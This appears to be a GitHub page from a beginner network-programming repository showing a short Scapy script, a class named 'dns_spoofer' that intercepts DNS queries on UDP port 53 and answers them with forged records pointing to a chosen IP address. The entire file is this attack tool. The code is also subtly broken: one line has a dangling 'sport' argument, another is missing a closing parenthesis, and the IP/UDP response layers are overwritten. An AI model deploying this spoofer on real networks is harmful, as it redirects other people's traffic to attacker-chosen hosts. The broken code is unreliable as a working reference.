forked from bigsnarfdude/pythonNetworkProgrammingN00B
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathscapy_dns.py
More file actions
21 lines (17 loc) · 689 Bytes
/
scapy_dns.py
File metadata and controls
21 lines (17 loc) · 689 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class DNS_echo(AnsweringMachine):
function_name = "dns_spoofer"
filter = "udp port 53"
def parse_options(self, joker="192.168.1.1", zone=None):
if zone is None:
zone = {}
self.zone = zone
self.joker = joker
def is_request(self, req):
return req.haslayer(DNS) and req.getlayer(DNS).qr == 0
def make_reply(self, req):
ip = req.getlayer(IP)
dns = req.getlayer(DNS)
resp = IP(dst=ip.src, src=ip.dst)/UDP(dport=ip.sport, sport)
rdata = self.zone.get(dns.qd.qname, self.joker)
resp = DNS(id=dns.id, qr=1, qd=dns.qd, an=DNSRR(rrname=dns.qd.qname, ttl=10, rdata=rdata)
return resp